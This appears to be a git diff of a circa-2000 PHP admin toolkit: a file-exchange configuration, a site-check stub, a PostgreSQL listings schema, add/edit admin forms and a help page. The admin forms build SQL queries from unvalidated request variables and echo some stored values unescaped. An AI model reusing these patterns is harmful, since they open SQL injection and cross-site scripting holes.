+       ----------------------------------
+
+       Setup for: FileExchange - Admin Section
+
+****************************************************************/
+
+
+//***************************** GLOBAL CONFIGURATION ***********************************
+
+$DEBUG                         = FALSE;                // Set to TRUE to display debug information
+error_reporting(15);                   // PHP error reporting - 1=Error, 2=Warning, 4=Parse, 8=Notice, 15=All
+
+
+$MAX_FILE_SIZE         = "30000000";   // Maximum file upload size = 30 Megs
+
+       // Database Configuration
+       
+$DBHOST                        = "ds1.gaslightmedia.com";
+$DBNAME                        = "mtrnfileexchange";
+
+       // Location and paths
+       
+$TOOLS_TITLE           = "Michigan Talk Radio Network File Exchange";
+$TOOLS_NAME            = "FileExchange";
+$SERVER_URL            = "http://www.michigantalkradio.com";
+$SERVER_PATH           = "/home/httpd/server/www.michigantalkradio.com";
+$DATA_PATH             = "/home/httpd/server/www.michigantalkradio.com/FileExchange/data";
+$CUST_URL              = "http://www.michigantalkradio.com/FileExchange";
+$DATA_URL              = "$CUST_URL/data";
+
+       // Don't modify these locations and paths
+$TOOLS_URL             = "$SERVER_URL/$TOOLS_NAME";
+$TOOLS_PATH            = "$SERVER_PATH/$TOOLS_NAME";
+$TOOLS_IMAGES_URL      = "$TOOLS_URL/images";
+$TOOLS_IMAGES_PATH     = "$TOOLS_PATH/images";
+$TOOLS_HELP_PATH       = "$TOOLS_PATH/help_files";
+
+
+//***************************** ADMIN CONFIGURATION ***********************************
+
+       // Look and Feel section
+       
+$LF_BG_CLR             = "#C6EFF7";            // Background color
+$LF_LINK_CLR           = "#BLUE";              // Link color
+$LF_VLINK_CLR          = "#BLUE";              // Visited link color
+$LF_ALINK_CLR          = "#CYAN";              // Active link Color
+$LF_NOLINK_CLR         = "#A1A1A1";            // Unavailable link color
+
+$LF_TABLE_CLR          = "#FFFFFF";            // Table color (working area background)
+$LF_HEADER_CLR         = "#00A5C6";            // Table header background color
+$LF_FOOTER_CLR         = "#00A5C6";            // Table footer background color
+$LF_TITLE_CLR          = "#005263";            // Admin page title color
+$LF_TITLE_2_CLR                = "#FFFF10";            // Admin page title line #2 color
+$LF_REQ_FIELD_CLR      = "BLUE";               // Color of required fields in forms
+#LF_COPYWRIGHT_CLR     = "#005263";            // Copywright line color
+
+$LF_HELP_BG_CLR                = "#FFFFFF";            // Help system background color
+$LF_HELP_TEXT_CLR       = "#000000";           // Help system text color
+
+$LF_ERROR_CLR          = "red";                // Error message color
+
+$LF_HEAD1              = '<FONT SIZE="6" COLOR="'.$LF_HEADER_CLR.'">';
+
+       // Misc Definitions
+
+$ENTRIES_PER_PAGE      = 10;
+$GM_COPYWRIGHT         = "Copyright &copy; 1998-2000 <A HREF=\"http://www.gaslightmedia.com/\">Gaslight Media</A> - All rights reserved.";
+
+$header_sent           = FALSE;
+               
+//***************************** FUNCTION DECLARATIONS ***********************************
+
+       // Display error message
+
+function error_msg( $error, $file, $line, $other )
+{
+        global $DEBUG, $header_sent, $TOOLS_TITLE;
+
+        if( !isset($header_sent) || !$header_sent )
+               {
+               $page_title = "$TOOLS_TITLE - ERROR";
+               $current_page = "error";
+               do_header();
+               }
+        print( "&nbsp;<P><B>An error occured: </B>$error<BR>" );
+        if( $DEBUG )
+               print( "<FONT FACE=\"Courier New\" SIZE=2><PRE>File:              $file<BR>Line:              $line<BR>Other Info:<BR>" );
+
+
+        if( is_array($other) )
+       while( list($key,$val) = each($other) )                 
+               print( $val );
+           else
+               print( $other );
+               
+       print( "</PRE></FONT>&nbsp<P>" );
+       do_footer();
+       exit;
+}
+
+function do_header()
+{
+               
+       global  $page_title, $current_page, $LF_BG_CLR, $LF_LINK_CLR, $LF_VLINK_CLR, $LF_ALINK_CLR, $LF_TABLE_CLR,
+               $LF_HEADER_CLR, $LF_TITLE_CLR, $LF_TITLE_2_CLR, $LF_NOLINK_CLR, $TOOLS_IMAGES_URL, $TOOLS_TITLE,
+               $TOOLS_URL, $session, $domains, $current_page, $header_sent, $domain, $cust, $usercode, $cust_data;
+
+       $header_sent = TRUE;
+       
+       echo '
+       <HTML>
+         <HEAD>
+                   <TITLE>'.$TOOLS_TITLE.'</TITLE>
+           <META NAME="Author" CONTENT="Gaslight Media">
+         </HEAD>
+         <BODY BGCOLOR="'.$LF_BG_CLR.'" LINK="'.$LF_LINK_CLR.'" VLINK="'.$LF_VLINK_CLR.'" ALINK="'.$LF_ALINK_CLR.'">
+           <CENTER>
+             <TABLE BGCOLOR="'.$LF_TABLE_CLR.'" BORDER="0" CELLPADDING="2" CELLSPACING="0" WIDTH="90%">
+               <TR BGCOLOR="'.$LF_HEADER_CLR.'">
+                 <TD>
+                   <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0" BORDER="0" WIDTH="100%">
+                     <TR>
+                       <TD WIDTH="1%"><IMG SRC="'.$TOOLS_IMAGES_URL.'/gaslight_small.jpg"></TD>
+                       <TD VALIGN="MIDDLE" ALIGN="CENTER">
+                         <FONT COLOR="'.$LF_TITLE_CLR.'" SIZE="4">'.$TOOLS_TITLE.'</FONT><BR>
+                         <FONT COLOR="'.$LF_TITLE_2_CLR.'">'.$page_title.'</FONT>
+                       </TD>
+                       <TD WIDTH="1%" VALIGN="TOP" ALIGN="RIGHT">
+                         <A HREF="'.$TOOLS_URL.'/help.phtml?HELP_PAGE='.$current_page.'.hlp" TARGET="Help"
+
+                                onClick="
+                                        w=window.open(\'\',\'Help\');
+                                        w.close();
+                                       w=window.open(\''.$TOOLS_URL.'/help.phtml?HELP_PAGE='.$current_page
+                                               .'.hlp\',\'Help\',\'toolbar=0,location=0,directories=0,'
+                                               .'status=0,menubar=0,scrollbars=1,resizable=0,width=350,height=400\');
+                                        ">
+                               <IMG SRC="'.$TOOLS_IMAGES_URL.'/help.gif" BORDER="0"></A>
+                       </TD>
+                     </TR>
+                   </TABLE>
+                 </TD>
+               </TR>
+               <TR BGCOLOR="'.$LF_TABLE_CLR.'">
+                 <TD>
+                   <CENTER>
+       ';
+       
+       switch( $current_page )
+               {
+               case "customer_login":
+                       $list_files_link                = FALSE;
+                       $upload_new_file_link           = FALSE;
+                       $login_link                     = FALSE;
+                       break;
+               case "login_failure":
+                       $list_files_link                = FALSE;
+                       $upload_new_file_link           = FALSE;
+                       $login_link                     = TRUE;
+                       break;
+               case "list_files":
+                       $list_files_link                = FALSE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "upload_new_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = FALSE;
+                       $login_link                     = TRUE;
+                       break;
+               case "upload_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "delete_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "confirm_delete_file":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               case "error":
+                       $list_files_link                = TRUE;
+                       $upload_new_file_link           = TRUE;
+                       $login_link                     = TRUE;
+                       break;
+               default:
+                       error_msg( "Invalid page ID", __FILE__, __LINE__, $current_page );
+                       break;
+               }
+       
+       echo "| ";
+
+               // if not permitted to upload, don't display link
+       if( $cust_data['post'] == "f" )
+               $upload_new_file_link           = FALSE;
+       
+       if( $list_files_link )
+               echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=List+Files">List files</A> | ';
+           else
+               echo 'List files | ';
+
+       if( $upload_new_file_link )
+               echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=Upload+New+File">Upload new file</A> | ';
+           else
+               echo 'Upload new file | ';
+
+       if( $login_link )
+               echo '<A HREF="index.phtml">Login as different customer</A> | ';
+           else
+               echo 'Login as different customer | ';
+
+       echo '&nbsp;<P>
+            ';
+               
+               
+}
+
+function do_footer()
+{
+
+       global $LF_FOOTER_CLR, $LF_COPYWRIGHT_CLR, $GM_COPYWRIGHT;
+       
+       echo '      &nbsp;<P>
+                 </TD>
+               </TR>
+               <TR BGCOLOR="'.$LF_FOOTER_CLR.'">
+                 <TD><CENTER><FONT COLOR="'.$LF_COPYWRIGHT_CLR.'">'.$GM_COPYWRIGHT.'</FONT></CENTER></TD>
+               </TR>
+             </TABLE>
+           <CENTER>
+         </BODY>
+       </HTML>
+            ';
+
+}
+
+function fail( $message )
+{
+       do_header();
+       echo $message;
+       do_footer();
+       exit;
+}
diff --git a/GLM_site_check.phtml b/GLM_site_check.phtml
new file mode 100644 (file)
index 0000000..3a1cd37
--- /dev/null
@@ -0,0 +1,19 @@
+<?php
+/*
+ * GLM Standard Site Monitoring Target
+ *
+ *
+ */
+
+    // Set these parameters for each site
+   
+define( 'HOST',     'ds1.gaslightmedia.com' );
+define( 'USER',     'nobody' );
+define( 'DBNAME',   'n8dnx' );
+
+    // End of parameters to set for each site
+
+include('/home/httpd/templates/Global_site_check.phtml')
+   
+?>
+
diff --git a/NQSMHS_to_VXR5000.pdf b/NQSMHS_to_VXR5000.pdf
new file mode 100644 (file)
index 0000000..7cec87c
Binary files /dev/null and b/NQSMHS_to_VXR5000.pdf differ
diff --git a/admin/GLMbug.gif b/admin/GLMbug.gif
new file mode 100755 (executable)
index 0000000..20b12d8
Binary files /dev/null and b/admin/GLMbug.gif differ
diff --git a/admin/Toolbox/business.sql b/admin/Toolbox/business.sql
new file mode 100755 (executable)
index 0000000..4d4dcc4
--- /dev/null
@@ -0,0 +1,89 @@
+\connect - postgres
+
+CREATE TABLE "bus" (
+       "id" SERIAL, 
+       "name" text,
+       "description" text,
+       "description2" text,
+       "description3" text,
+       "image" text,
+       "imagename" text,
+       "image2" text,
+       "image2name" text,
+       "image3" text,
+       "image3name" text,
+       "urlname" text,
+       "url" text,
+       "address" text,
+       "city" text,
+       "state" text,
+       "zip" text,
+       "phone" text,
+       "fax" text,
+       "email" text,
+       "pos" integer,
+       "file" text,
+       "filename" text,
+       "file2" text,
+       "file2name" text,
+       "file3" text,
+       "file3name" text,
+       "contactname" text
+);
+
+REVOKE ALL on "bus" from PUBLIC;
+GRANT ALL on "bus" to "nobody";
+GRANT ALL on "bus" to "postgres";
+
+REVOKE ALL on "bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT ALL on "bus_id_seq" to "postgres";
+
+CREATE TABLE "bus_category" (
+       "id" SERIAL, 
+       "parent" integer,
+       "category" text,
+       "intro" text,
+       "description" text,
+       "image" text,
+       "active" bool,
+       "pos" integer,
+       "keyword" text,
+       "template" int
+);
+
+REVOKE ALL on "bus_category" from PUBLIC;
+GRANT ALL on "bus_category" to "nobody";
+GRANT ALL on "bus_category" to "postgres";
+
+REVOKE ALL on "bus_category_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT ALL on "bus_category_id_seq" to "postgres";
+
+CREATE TABLE "bus_category_bus" (
+       "id" SERIAL, 
+       "busid" integer,
+       "catid" integer,
+       "pos" integer
+);
+
+REVOKE ALL on "bus_category_bus" from PUBLIC;
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT ALL on "bus_category_bus" to "postgres";
+
+REVOKE ALL on "bus_category_bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+
+CREATE UNIQUE INDEX bus_id_indx ON bus (id);
+
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category (id);
+CREATE INDEX bus_category_parent_indx ON bus_category (parent);
+CREATE INDEX bus_category_pos_indx ON bus_category (pos);
+CREATE INDEX bus_category_keyword_indx ON bus_category (keyword);
+CREATE INDEX bus_category_template_indx ON bus_category (template);
+
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus (id);
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus (busid);
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus (catid);
+
diff --git a/admin/Toolbox/edit_bus.phtml b/admin/Toolbox/edit_bus.phtml
new file mode 100755 (executable)
index 0000000..37b73a0
--- /dev/null
@@ -0,0 +1,246 @@
+<?
+//$Id: edit_bus.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+if(!$dbd = db_connect()) 
+{
+       html_error(DB_ERROR_MSG, 1);
+}
+
+if(isset($id)) 
+{
+       $qs =  "SELECT  b.*
+       FROM    bus b,bus_category_bus bcb,bus_category bc
+       WHERE   b.id = $id
+       AND     bcb.busid = $id
+       AND     bcb.busid = b.id
+       AND     bcb.catid = bc.id";
+
+       if(!$res = db_exec($dbd, $qs)) 
+       html_error(DB_ERROR_MSG.$qs,1);
+       $row = db_fetch_array($res,0, PGSQL_ASSOC);
+       if(!$row[id]) 
+       html_error(DB_ERROR_MSG.$qs,1);
+}
+else 
+{
+       $row = array (
+               "name" => "",
+               "catid" => $catid,
+               "address" => "",
+               "city" => "",
+               "state" => "",
+               "zip" => "",
+               "phone" => "",
+               "fax" => "",
+               "email" => "",
+               "url" => "",
+               "description" => "",
+               "image" => "",
+               "description2" => "",
+               "image2" => "",
+               "description3" => "",
+               "image3" => "",
+               "file" => "",
+               "file2" => "",
+               "file3" => ""
+       );
+}
+
+top2("Updatable Paragraphs (Add/Edit)", HELP_BASE."bus.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav["List Paragraphs"] = "list_bus.phtml?catid=$catid";
+html_nav_table($lnav, 3);
+
+$qs = "SELECT  id,category
+FROM   bus_category
+ORDER BY parent,pos";
+
+if(!$altcats = db_exec($dbd,$qs)) 
+html_error(DB_ERROR_MSG.$qs,0);
+
+?>
+<script>
+       function mySubmit()
+       {
+               var check = 0;
+               for( i = 0; i < <?echo pg_numrows($altcats);?>;i++ )    
+               {
+                               if( document.myform.catid.options[i].selected )
+                       {
+                               check = 1;
+                               document.myform.category.value += ':' + document.myform.catid.options[i].value;
+                       }
+               }
+               if( check == 0 )
+               {
+                               alert('Must select one Category from the list!');
+                       return(false);
+               }
+       }
+</script>
+<?php
+       if(MULTIPLE_CAT)
+       {
+       ?>
+       
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data" onSubmit="return(mySubmit(this));">
+       <?
+}
+else
+{
+       ?>
+       
+<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data">
+       <?
+}
+       echo "<table cellspacing=0 cellpadding=4 width=400 align=center border=0 bgcolor=\"#c0c0c0\">";
+
+               echo "<tr><th colspan=2>Pages:</th></tr>";
+               if(isset($id) && $id != "") {
+                       $qs = "SELECT   bc.id as catid, bcb.id as id,bc.category,bcb.pos
+                       FROM    bus_category bc,bus_category_bus bcb,bus b
+                       WHERE   bcb.busid = $id
+                       AND             bcb.catid = bc.id
+                       AND             b.id = bcb.busid
+                       ORDER BY bc.category";
+
+                       if(!$altres = db_exec($dbd,$qs)) 
+                       html_error(DB_ERROR_MSG.$qs,0);
+
+                       for($rel=0;$rel<db_numrows($altres);$rel++) {
+                               $altrow = db_fetch_array($altres,$rel,PGSQL_ASSOC);
+                               $oldalt[$rel] = array_merge_recursive($altrow,$oldalt); 
+                       }
+               }
+       ?>
+       <tr><td class="navtd" align="right">Page:</td>
+               <td>
+                       <? echo parent_select($catid,NULL,"catid[]");?> 
+                       <?$oldcatid = "";        
+                       for($i=0;$i<db_numrows($altcats);$i++) 
+                       {        
+                                $altrow = db_fetch_array($altcats,$i,PGSQL_ASSOC);      
+                                for($a=0;$a<count($oldalt);$a++) 
+                                {       
+                                               if(is_array($oldalt) && ($oldalt[$a][catid] == $altrow[id])) 
+                                               {        
+                                                                        $oldcatid .= ":".$altrow[id];   
+                                               }        
+                                }       
+                        }       
+
+        ?>
+               <?if(MULTIPLE_CAT){?>
+               <input type="hidden" name="category" value="">
+               <?}?>   
+               <input type="hidden" name="oldcatid" value="<?echo $oldcatid?>">
+</td></tr>
+<?
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($fields as $key=>$value) {
+       if($value[type] == "text") {
+       ?>
+       <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><input name="<?echo $value[name]?>" 
+                       value="<?echo htmlspecialchars($row[$value[name]])?>" size=40></td>
+       </tr>
+       <?
+}
+elseif($value['type'] == "seperator"){
+       echo '<tr><td colspan="2"><hr noshade></td></tr>';
+       echo '<tr><td colspan="2" align="center"><b>'.$value["name"].'</b></td></tr>';
+}
+elseif($value[type] == "img") {
+?>
+<tr></tr>
+<?
+echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+value=\"".$row[$value[name]]."\">";
+if($row[$value[name]] != "") {
+       echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+               echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\">
+               </td>
+       </tr>
+       <tr>
+               <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+               <td>
+                       <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+                       <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+               </td>
+       </tr>";
+}
+echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+       echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+       echo "</tr>";
+       }
+       elseif($value[type] == "file") {
+       ?>
+       <tr></tr>
+       <?
+       echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+       value=\"".$row[$value[name]]."\">";
+       if($row[$value[name]] != "") {
+               echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+                       echo "<td>".$row[$value[name]]."
+                       </td>
+               </tr>
+               <tr>
+                       <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+                       <td>
+                               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+                               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+                       </td>
+               </tr>";
+       }
+       echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+               echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+               echo "</tr>";
+}
+if($value[type] == "desc") {
+       echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+               text_area("$value[name]",htmlspecialchars($row[$value[name]]));
+               echo "</tr>";
+}
+elseif($value[type] == "hide") {
+       echo "<input type=\"hidden\" name=\"".$value[title]."\" 
+       value=\"".$row[$value[name]]."\">";
+}
+elseif($value[type] == "bool") {
+       echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+                       echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"t\"".($row[$value[name]]=="t"?" checked":"");
+                       echo ">Yes";
+                       echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"".($row[$value[name]]!="t"?" checked":"");
+                       echo ">No";
+
+                       echo "</tr>";
+       }
+}
+htmlcode(570,400);
+echo "\n";
+echo "</script>
+";
+echo '<input type="hidden" name="base_parent" value="'.$base_parent.'">';
+if(isset($id)) {
+?>
+<tr><td colspan=2 align=center>
+               <input type="submit" name="Command" value="Update">
+               <input type="submit" name="Command" value="Cancel">
+               <input type="submit" name="Command" value="Delete" onClick="
+               if(confirm('This will delete this Listing!\n Are you sure?'))
+               return(true);
+               else 
+               return(false);
+               ">
+       </td>
+       <?
+}
+else {
+       form_footer("Insert","",2);
+}
+echo "</tr></table></form>";
+
+footer();
+?>
diff --git a/admin/Toolbox/edit_bus_category.phtml b/admin/Toolbox/edit_bus_category.phtml
new file mode 100755 (executable)
index 0000000..405b68e
--- /dev/null
@@ -0,0 +1,229 @@
+<?
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+top2("Page (Add/Edit)", HELP_BASE."buscat.phtml?key=edit","ToolboxUserGuide_1.0");
+
+$lnav = array(
+               "List Pages"            => "list_bus_category.phtml"
+               );
+if(!CAT_LOCK)
+       $lnav["Add Page"] = "edit_bus_category.phtml";          
+       html_nav_table($lnav, 2);
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+
+if(isset($id)) 
+       {
+               if( DELUXE_TOOLBOX == 1 )
+               {
+                       $qs = "SELECT   id,category,intro,parent,description,image,keyword,template,pos  
+                                       FROM    bus_category 
+                                       WHERE   id = $id";
+               }
+               else
+               {
+                       $qs = "SELECT   id,category,intro,parent,description,image,pos   
+                                       FROM    bus_category 
+                                       WHERE   id = $id";
+               }
+       
+               if(!$res = db_exec($dbd, $qs)) 
+                       html_error(DB_ERROR_MSG,1);
+               
+               $row = db_fetch_array($res,0, PGSQL_ASSOC);
+               if(!$row[id]) 
+               {
+                       html_error(DB_ERROR_MSG,1);
+               }
+       }
+else 
+       {
+               if( DELUXE_TOOLBOX == 1 )
+               {
+                       $row = array(
+                               "category" => "",
+                               "intro" => "",
+                               "parent" => "",
+                               "description" => "",
+                               "image" => "",
+                               "keyword" => "",
+                               "template" => "1"
+                               );
+               }
+               else
+               {
+                       $row = array(
+                               "category" => "",
+                               "intro" => "",
+                               "parent" => "",
+                               "description" => "",
+                               "image" => ""
+                               );
+               }
+       }
+form_header("update_bus_category.phtml?".SID,"POST","");
+echo "<table bgcolor=\"#c0c0c0\" cellspacing=0 cellpadding=4 width=400 align=center border=0>";
+
+foreach($row as $key=>$value) {
+       switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "pos":
+                       echo "<input type=\"hidden\" name=\"oldpos\" value=\"$value\">";
+               break;
+
+               case "parent":
+                       echo "<tr><td class=\"navtd\" align=\"right\">
+                       <input type=\"hidden\" name=\"oldparent\" value=\"$value\">
+                       Parent&nbsp;Category:</td>";
+               $output = parent_select($value,$id);
+       if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+               echo "<td class=\"navtd2\">".$output."</td>";
+               echo "</tr>";
+               break;
+
+               case "category":
+
+                       echo "<tr><td class=\"navtd\" align=\"right\">Page&nbsp;Name:</td>";
+               text_box("category",$value);
+               echo "</tr>";
+               break;
+
+               case "intro":
+
+                       echo "<tr><td class=\"navtd\" align=\"right\">Page&nbsp;Header:</td>";
+               text_box("intro",$value);
+               echo "</tr>";
+               break;
+
+               case "image":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Current&nbsp;Image:</td>";
+               echo "<td class=\"navtd2\">
+                       <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+               if($value != "") {
+                       echo "<img src=\"".MIDSIZED."$value\">
+                               </td>
+                               <tr>
+                               <td class=\"navtd\" align=\"right\">Delete this image:</td>
+                               <td>
+                               <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+                               <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+                               </td>
+                               </tr>";
+               }
+               echo "<tr><td align=\"right\">
+                       New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+               break;
+
+               case "description":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";       
+               text_area("description",htmlspecialchars($value),15,60);                
+               echo "</tr>";
+               break;
+
+               case "keyword":
+                       echo "<tr><td class=\"navtd\" align=\"right\"><font color=red>Keyword:</font></td>";    
+               text_box("keyword",$value);             
+               echo "</tr>";
+               break;
+
+               case "template":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Template:</td>";  
+               echo "<td class=\"navtd\" align=\"left\">
+                       <table cellpadding=\"3\" cellspacing=\"0\" border=0>
+                       <tr>
+                       <td><img src=\"../template1.gif\"></td>
+                       <td><img src=\"../template2.gif\"></td>
+                       <td><img src=\"../template3.gif\"></td>
+                       <td><img src=\"../template4.gif\"></td>
+                       <td><img src=\"../template5.gif\"></td>
+                       </tr>
+                       <tr>
+                       <td>";
+               echo "1<input type=\"radio\" name=\"template\" value=\"1\" ";
+               if($value=="1")
+                       echo "checked";
+               echo ">";               
+               echo "</td>
+                       <td>";
+               echo "2<input type=\"radio\" name=\"template\" value=\"2\" ";
+               if($value=="2")
+                       echo "checked";
+               echo ">";               
+               echo "</td>
+                       <td>";
+               echo "3<input type=\"radio\" name=\"template\" value=\"3\" ";
+               if($value=="3")
+                       echo "checked";
+               echo ">";               
+               echo "</td>
+                       <td>";
+               echo "4<input type=\"radio\" name=\"template\" value=\"4\" ";
+               if($value=="4")
+                       echo "checked";
+               echo ">";               
+               echo "</td>
+                       <td>";
+               echo "5<input type=\"radio\" name=\"template\" value=\"5\" ";
+               if($value=="5")
+                       echo "checked";
+               echo ">";               
+               echo "</td>
+                       </tr>
+                       </table>
+                       </td></tr>";
+               break;
+
+               default:
+               html_error("Incorrect Value -> ".$key,1);
+               break;
+       }
+}
+
+htmlcode();
+if(isset($id)) {
+       $qs = "SELECT   count(*) as count
+               FROM    bus_category_bus
+               WHERE   catid = $id";
+
+       if(!$res = db_exec($dbd,$qs))
+               html_error(DB_ERROR_MSG.$qs,0);
+
+       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+       ?>
+               <tr><td colspan=2 align=center>
+               <input type="submit" name="Command" value="Update">
+               <input type="submit" name="Command" value="Cancel">
+               <?
+               if(!CAT_LOCK && !check_lock($id))
+               {               
+                       ?>                      
+                               <input type="submit" name="Command" value="Delete" onClick="
+                               <?if($row[count]==0) {?>
+                                       if(confirm('This will delete this category!\n Are you sure?'))
+                                               return(true);
+                                       else 
+                                               return(false);
+                                       <?}
+                                       else {?>
+                                               alert('You have to remove any records in\n this category first');
+                                               return(false);
+                                               <?}?>
+                                                       ">
+                                                       <?
+               }
+       ?>
+               </td></tr>
+               <?
+}
+else {
+       form_footer("Insert","",2);
+}
+echo "</table></form>";
+
+footer();
+?>
diff --git a/admin/Toolbox/help/bus.phtml b/admin/Toolbox/help/bus.phtml
new file mode 100755 (executable)
index 0000000..7676d61
--- /dev/null
@@ -0,0 +1,186 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Listings Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Listings</h4>
+
+<P>
+This page lists the existing Listings.
+</p>
+<p>
+<b>Add A New Listing</b>
+</p>
+<p>This link will allow you to add new Listing</p>
+<p>
+<b>List Listings</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Listing</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Listing</h4>
+<P>
+This page is for editing and modifying an existing Listing in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Listings" page.
+</p>
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing.  Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://. 
+</p>
+<p>
+<b>Picture for Listing:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Listing. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">ADD an Link</h4>
+<P>
+This page is for Adding Links in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Links" page.
+</p>
+
+<p>
+<b>Name:</b>
+This is the name of the listing.
+</p>
+
+<p>
+<b>Category</b>
+Choose the correct category for this listing.  Default to the category that you
+have choosen to list.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Link,
+in the Detailed output of the Link</p>
+<p>
+<b>Address:</b>
+This is the address of the listing.
+</p>
+
+<p>
+<b>Phone:</b>
+This is the Phone Number of the listing.
+</p>
+
+<p>
+<b>Fax:</b>
+This is the Fax Number of the listing.
+</p>
+
+<p>
+<b>Email:</b>
+This is the Email of the listing.
+</p>
+
+<p>
+<b>URL:</b>
+</p>
+<p>This is the web site 5 you want the users to go to when they click the
+link. Don't enter in http://. 
+</p>
+
+<p>
+<b>Picture for Link:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Link. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Link,
+you can click "Submit Query." This will update the information about the
+Link in the database.
+</p>
+<?
+       break;
+
+}
+?>
+<BR CLEAR=ALL>
